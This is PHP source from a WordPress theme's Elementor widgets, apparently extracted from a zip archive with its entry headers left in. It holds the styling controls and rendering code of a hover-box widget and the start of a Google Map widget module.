					'{{WRAPPER}} .pcbg-meta-desc span, {{WRAPPER}} .pcbg-meta-desc span a' => 'color: {{VALUE}};',
				],
			]
		);
		
		$this->add_control(
			'post_meta_lcolor',
			[
				'label'     => esc_html__( 'Link Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pcbg-meta-desc span a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'post_meta_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .pcbg-meta-desc span a:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'post_meta_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcbg-meta-desc span, {{WRAPPER}} .pcbg-meta-desc span a',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_sub_title',
			[
				'label'     => esc_html__( 'Sub Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_sub_title' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'sub_title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-sub-title'                                      => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-sub-title:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'sub_title_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-sub-title'                                      => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-item:hover .penci-hover-box-sub-title:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'sub_title_active_color',
			[
				'label'     => esc_html__( 'Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-sub-title'                                      => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-item.active .penci-hover-box-sub-title:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'sub_title_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-sub-title'                               => 'margin-bottom: {{SIZE}}{{UNIT}}',
					'{{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-sub-title' => 'margin-left: {{SIZE}}{{UNIT}}; padding-left: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'sub_title_typography',
				'selector' => '{{WRAPPER}} .penci-hover-box-sub-title',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_description',
			[
				'label'     => esc_html__( 'Text', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_content' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'description_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-text' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'description_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-text' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'description_active_color',
			[
				'label'     => esc_html__( 'Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-text' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'description_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-text' => 'padding-top: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'description_typography',
				'selector' => '{{WRAPPER}} .penci-hover-box-text',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_button',
			[
				'label'     => esc_html__( 'Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_button' => 'yes',
				],
			]
		);

		$this->start_controls_tabs( 'hover_box_button_style' );

		$this->start_controls_tab(
			'tab_button_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-button a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-button a',
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'button_box_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-button a',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'button_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-hover-box-button a',
				'separator' => 'before',
			]
		);

		$this->add_control(
			'button_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-button a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'button_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-button a' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-hover-box-button a',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'button_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-button a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_hover_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-button a',
			]
		);

		$this->add_control(
			'button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-button a' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'button_active',
			[
				'label' => esc_html__( 'Active', 'soledad' ),
			]
		);

		$this->add_control(
			'button_active_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-button a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'button_active_background_color',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-button a' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'button_active_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-button a' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_responsive_control(
			'button_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'separator' => 'before',
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-button' => 'padding-top: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_sliderdosnav', array(
			'label' => __( 'Slider Controls', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
			'condition' => array(
				'_skin' => 'penci-hvb-envelope',
			),
		) );

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; width: auto;height: auto;line-height: normal;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i, {{WRAPPER}} .slider-40-wrapper .nav-slider-button i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	public function activeItem( $active_item, $totalItem ) {
		$active_item = (int) $active_item;

		return $active_item = ( $active_item <= 0 || $active_item > $totalItem ? 1 : $active_item );
	}

	protected function render() {
		$settings = $this->get_settings();

		$this->markup_block_title( $settings, $this );

		if ( $settings['hover_box_event'] ) {
			$hoverBoxEvent = $settings['hover_box_event'];
		} else {
			$hoverBoxEvent = false;
		}

		if ( $settings['box_image_effect'] ) {
			$this->add_render_attribute( 'hover_box', 'class', 'penci-hover-box-img-effect penci-hvb-' . $settings['box_image_effect_select'] );
		}

		$this->add_render_attribute(
			[
				'hover_box' => [
					'id'    => 'penci-hover-box-' . $this->get_id(),
					'class' => 'penci-hover-box penci-hover-box-default penci-hover-box-' . $settings['layout_style'],

					'data-settings' => [
						wp_json_encode( array_filter( [
							'box_id'      => 'penci-hover-box-' . $this->get_id(),
							'mouse_event' => $hoverBoxEvent,
						] ) )
					]
				]
			]
		);

		?>
        <div <?php $this->print_render_attribute_string( 'hover_box' ); ?>>

		<?php
		if ( 'custom' == $settings['item_type'] ) {
			$this->box_content();
			$this->box_items();
		} else {
			$this->post_content();
			$this->post_items();
		}
		?>

        </div>

		<?php
	}

	public function box_content() {
		$settings   = $this->get_settings_for_display();
		$id         = $this->get_id();

		?>

		<?php foreach ( $settings['hover_box'] as $index => $item ) :
			$tab_count = $index + 1;
			$tab_id = 'penci-hvb-box-' . $tab_count . esc_attr( $id );

			$slide_image = Group_Control_Image_Size::get_attachment_image_src( $item['slide_image']['id'], 'thumbnail_size', $settings );
			if ( ! $slide_image ) {
				$slide_image = $item['slide_image']['url'];
			}
			
			$active_item = $this->activeItem( $settings['hover_box_active_item'], count( $settings['hover_box'] ) );

			if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
				$this->add_render_attribute( 'hover-box-content', 'class', 'penci-hover-box-content active', true );
			} else {
				$this->add_render_attribute( 'hover-box-content', 'class', 'penci-hover-box-content', true );
			}

			$this->add_render_attribute( 'hover-box-content-img', 'class', 'penci-hover-box-img elementor-repeater-item-' . esc_attr( $item['_id'] ), true );

			?>

            <div id="<?php echo esc_attr( $tab_id ); ?>" <?php $this->print_render_attribute_string( 'hover-box-content' ); ?>>

				<?php if ( $slide_image ) : ?>
                    <div class="penci-hover-box-img"
                         style="background-image: url('<?php echo esc_url( $slide_image ); ?>');"></div>
				<?php else : ?>
                    <div <?php $this->print_render_attribute_string( 'hover-box-content-img' ); ?>></div>
				<?php endif; ?>

            </div>
		<?php endforeach; ?>

		<?php
	}

	public function box_items() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();

		$this->add_render_attribute( 'box-settings', 'data-penci-hover-box-items', 'connect: #penci-hvb-box-content-' . esc_attr( $id ) . ';' );
		$this->add_render_attribute( 'box-settings', 'class', [
			'penci-hover-box-item-wrap',
			'penci-hvb-position-' . $settings['content_gap'],
			'penci-hvb-position-' . $settings['default_content_position']
		] );

		$text_hide_on_setup = '';

		if ( ! empty ( $settings['text_hide_on'] ) ) {
			foreach ( $settings['text_hide_on'] as $element ) {

				if ( $element == 'desktop' ) {
					$text_hide_on_setup .= ' penci-hvb-desktop';
				}
				if ( $element == 'tablet' ) {
					$text_hide_on_setup .= ' penci-hvb-tablet';
				}
				if ( $element == 'mobile' ) {
					$text_hide_on_setup .= ' penci-hvb-mobile';
				}
			}
		}


		?>
        <div <?php $this->print_render_attribute_string( 'box-settings' ); ?>>
            <div class="penci-hover-box-grid">

				<?php foreach ( $settings['hover_box'] as $index => $item ) :

				$tab_count = $index + 1;
				$tab_id    = 'penci-hvb-box-' . $tab_count . esc_attr( $id );


				$active_item = $this->activeItem( $settings['hover_box_active_item'], count( $settings['hover_box'] ) );

				if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
					$this->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item active', true );
				} else {
					$this->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item', true );
				}

				$this->add_render_attribute( 'penci-hover-box-title', 'class', 'penci-hover-box-title', true );

				$title_key  = 'title_' . $index;
				$button_key = 'button_' . $index;
				$this->add_render_attribute( $title_key, 'class', 'penci-hover-box-title-link', true );
				$this->add_link_attributes( $title_key, isset ( $item['title_link'] ) ? $item['title_link'] : [] );
				$this->add_link_attributes( $button_key, isset ( $item['button_link'] ) ? $item['button_link'] : [] );

				?>
                <div>
                    <div <?php $this->print_render_attribute_string( 'box-item' ); ?>
                            data-id="<?php echo esc_attr( $tab_id ); ?>">

						<?php if ( 'yes' == $settings['show_icon'] ) : ?>
                            <a class="penci-hover-box-icon-box" href="javascript:void(0);"
                               data-tab-index="<?php echo esc_attr( $index ); ?>">
									<span class="penci-hover-box-icon-wrap">
										<?php Icons_Manager::render_icon( $item['selected_icon'], [ 'aria-hidden' => 'true' ] ); ?>
									</span>
                            </a>
						<?php endif; ?>

						<?php if ( $item['hover_box_sub_title'] && ( 'yes' == $settings['show_sub_title'] ) ) : ?>
                            <div class="penci-hover-box-sub-title">
								<?php echo wp_kses( $item['hover_box_sub_title'], wp_kses_allowed_html( 'post' ) ); ?>
                            </div>
						<?php endif; ?>

						<?php if ( $item['hover_box_title'] && ( 'yes' == $settings['show_title'] ) ) : ?>
                        <<?php echo esc_attr( $settings['title_tags'] ); ?>
						<?php $this->print_render_attribute_string( 'penci-hover-box-title' ); ?>>

						<?php if ( '' !== $item['title_link']['url'] ) : ?>
                        <a <?php $this->print_render_attribute_string( $title_key ); ?>>
							<?php endif; ?>
							<?php echo wp_kses( $item['hover_box_title'], wp_kses_allowed_html( 'post' ) ); ?>
							<?php if ( '' !== $item['title_link']['url'] ) : ?>
                        </a>
					<?php endif; ?>

                    </<?php echo esc_attr( $settings['title_tags'] ); ?>>
					<?php endif; ?>

					<?php if ( $item['hover_box_content'] && ( 'yes' == $settings['show_content'] ) ) : ?>
                        <div class="penci-hover-box-text <?php echo esc_attr( $text_hide_on_setup ); ?>">
							<?php echo wp_kses_post( $this->parse_text_editor( $item['hover_box_content'] ) ); ?>
                        </div>
					<?php endif; ?>

					<?php if ( $item['hover_box_button'] && ( 'yes' == $settings['show_button'] ) ) : ?>
                        <div class="penci-hover-box-button">
                            <a <?php $this->print_render_attribute_string( $button_key ); ?>>
								<?php echo wp_kses_post( $item['hover_box_button'] ); ?>
                            </a>
                        </div>
					<?php endif; ?>

                </div>
            </div>
			<?php endforeach; ?>

        </div>
        </div>
		<?php
	}

	public function post_content() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();
		$args     = Query_Control::get_query_args( 'posts', $settings );;
		$query_custom = new \WP_Query( $args );
		$thumbnail_size = isset( $settings['thumbnail_size'] ) ? $settings['thumbnail_size'] : 'full';
		?>

		<?php
		if ( $query_custom->have_posts() ):
			$post_count = 0;
			while ( $query_custom->have_posts() ) : $query_custom->the_post();
				$post_count++;
				$tab_id = 'penci-hvb-box-' . $post_count . esc_attr( $id );

				$slide_image = get_the_post_thumbnail_url( get_the_ID(), $thumbnail_size );
				if ( ! $slide_image ) {
					$slide_image = penci_get_default_thumbnail_url();
				}
				
				$active_item = $this->activeItem( $settings['hover_box_active_item'], $query_custom->found_posts );

				if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
					$this->add_render_attribute( 'hover-box-content', 'class', 'penci-hover-box-content active', true );
				} else {
					$this->add_render_attribute( 'hover-box-content', 'class', 'penci-hover-box-content', true );
				}

				$this->add_render_attribute( 'hover-box-content-img', 'class', 'penci-hover-box-img elementor-repeater-item-' . esc_attr( get_the_ID() ), true );

				?>

                <div id="<?php echo esc_attr( $tab_id ); ?>" <?php $this->print_render_attribute_string( 'hover-box-content' ); ?>>

					<?php if ( $slide_image ) : ?>
                        <div class="penci-hover-box-img"
                             style="background-image: url('<?php echo esc_url( $slide_image ); ?>');"></div>
					<?php else : ?>
                        <div <?php $this->print_render_attribute_string( 'hover-box-content-img' ); ?>></div>
					<?php endif; ?>

                </div>
			<?php
			endwhile;
		endif; ?>
		<?php
	}

	public function post_items() {
		$settings = $this->get_settings();
		$id   = $this->get_id();
		$args = Query_Control::get_query_args( 'posts', $settings );;
		$query_custom = new \WP_Query( $args );
		$post_meta    	= $settings['postmeta'] ? $settings['postmeta'] : [];
		$primary_cat    = $settings['primary_cat'];
		$this->add_render_attribute( 'box-settings', 'data-penci-hover-box-items', 'connect: #penci-hvb-box-content-' . esc_attr( $id ) . ';' );
		$this->add_render_attribute( 'box-settings', 'class', [
			'penci-hover-box-item-wrap',
			'penci-hvb-position-' . $settings['content_gap'],
			'penci-hvb-position-' . $settings['default_content_position']
		] );

		$text_hide_on_setup = '';

		if ( ! empty ( $settings['text_hide_on'] ) ) {
			foreach ( $settings['text_hide_on'] as $element ) {

				if ( $element == 'desktop' ) {
					$text_hide_on_setup .= ' penci-hvb-desktop';
				}
				if ( $element == 'tablet' ) {
					$text_hide_on_setup .= ' penci-hvb-tablet';
				}
				if ( $element == 'mobile' ) {
					$text_hide_on_setup .= ' penci-hvb-mobile';
				}
			}
		}
		?>
		<div <?php $this->print_render_attribute_string( 'box-settings' ); ?>>
		<div class="penci-hover-box-grid">
		<?php
		if ( $query_custom->have_posts() ) {
			$post_count = 0;
			while ( $query_custom->have_posts() ) : $query_custom->the_post();
				$post_count++;
				$tab_id = 'penci-hvb-box-' . $post_count . esc_attr( $id );
				$active_item = $this->activeItem( $settings['hover_box_active_item'], $query_custom->found_posts );

				if ( $tab_id == 'penci-hvb-box-' . $active_item . esc_attr( $id ) ) {
					$this->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item active', true );
				} else {
					$this->add_render_attribute( 'box-item', 'class', 'penci-hover-box-item', true );
				}

				$this->add_render_attribute( 'penci-hover-box-title', 'class', 'penci-hover-box-title', true );
				?>
                <div>
                    <div <?php $this->print_render_attribute_string( 'box-item' ); ?>
                            data-id="<?php echo esc_attr( $tab_id ); ?>">
						<?php if ( 'yes' == $settings['show_icon'] ) : ?>
                            <a class="penci-hover-box-icon-box" href="javascript:void(0);"
                               data-tab-index="<?php echo esc_attr( get_the_ID() ); ?>">
								<span class="penci-hover-box-icon-wrap">
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php elseif ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php elseif ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php elseif ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php elseif ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php else : ?>
									<?php penci_fawesome_icon( 'fas fa-file' ); ?>
								<?php endif; ?>
								</span>
                            </a>
						<?php endif; ?>

						<?php if ( 'yes' == $settings['show_post_meta'] ) : ?>
							<?php if ( ( isset( $settings['cspost_enable'] ) && $settings['cspost_enable'] ) || ( count( array_intersect( array(
										'author',
										'date',
										'comment',
										'views',
										'reading',
										'excerpt'
									), $post_meta ) ) > 0 ) ) { ?>
                                <div class="pchvb-meta">
                                    <div class="pcbg-meta-desc">
										<?php if ( in_array( 'cat', $post_meta ) ) : ?>
											<span class="bg-cat-meta">
												<?php penci_category( '', $primary_cat ); ?>
											</span>
										<?php endif; ?>
										<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                            <span class="bg-date-author author-italic author vcard">
												<?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
													penci_coauthors_posts_links();
												else: ?>
                                                    <a class="author-url url fn n"
                                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
												<?php endif; ?>
											</span>
										<?php endif; ?>
										<?php if ( in_array( 'date', $post_meta ) ) : ?>
                                            <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                            <span class="bg-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
										<?php endif; ?>
										<?php
										if ( in_array( 'views', $post_meta ) ) {
											echo '<span>';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php
										$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
										if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                            <span class="bg-readtime"><?php penci_reading_time(); ?></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
                                </div>
							<?php } ?>
						<?php endif; ?>

						<?php if ( 'yes' == $settings['show_title'] ) : ?>
							<<?php echo esc_attr( $settings['title_tags'] ); ?>
							<?php $this->print_render_attribute_string( 'penci-hover-box-title' ); ?>>


							<a class="penci-hover-box-title-link" href="<?php the_permalink(); ?>">
								<?php the_title(); ?>
							</a>


							</<?php echo esc_attr( $settings['title_tags'] ); ?>>
						<?php endif; ?>

					<?php if ( 'yes' == $settings['show_content'] ) : ?>
                        <div class="penci-hover-box-text">
							<?php penci_the_excerpt( $settings['post_content_length'] ); ?>
                        </div>
					<?php endif; ?>

					<?php if ( 'yes' == $settings['show_button'] ) : ?>
                        <div class="penci-hover-box-button">
                            <a href="<?php the_permalink(); ?>">
								<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                            </a>
                        </div>
					<?php endif; ?>
                </div>
                </div>
			<?php
			endwhile;
			wp_reset_postdata();
		} else {
			echo '<div class="penci-no-posts-found">' . esc_html__( 'No posts found', 'soledad' ) . '</div>';
		}
		?>
		</div></div>
		<?php
	}
}PK     1w\N  N  &  elementor/modules/penci-map/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciMap;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-map';
	}

	public function get_widgets() {
		return array( 'PenciMap' );
	}
}
PK     1w\ذ      1  elementor/modules/penci-map/widgets/penci-map.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciMap\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciMap extends Base_Widget {

	public function get_name() {
		return 'penci-map';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Map', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-google-maps';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'map' );
	}

	public function get_script_depends() {
		return array( 'google-map' );
	}

	protected function register_controls() {
		

		$this->start_controls_section(
			'section_general', array(
				'label' => esc_html__( 'Map', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$this->add_control(
			'map_api', array(
				'label'   => __( 'Google Map API key', 'soledad' ),
				'type'    => Controls_Manager::HIDDEN,
				'default' => get_theme_mod( 'penci_map_api_key', '' ),
			)
		);
		$query['autofocus[control]'] = 'penci_map_api_key';
		$google_map_api_link         = add_query_arg( $query, admin_url( 'customize.php' ) );
		$this->add_control(
			'map_desc',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => __('<span style="color: #fff;">Note Important: </span>If you want to use full features of Google Map, you need to enter the Google MAP API on <a href="' . esc_url( $google_map_api_link ) . '" target="_blank">this page</a> first.','soledad' ),
				'separator'       => 'after',
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);
		$this->add_control(
			'map_using', array(
				'label'   => __( 'Insert Map Using', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'address',
				'options' => array(
					'address'     => esc_html__( 'Address', 'soledad' ),
					'coordinates' => esc_html__( 'Coordinates', 'soledad' ),
				)
			)
		);
		$this->add_control(
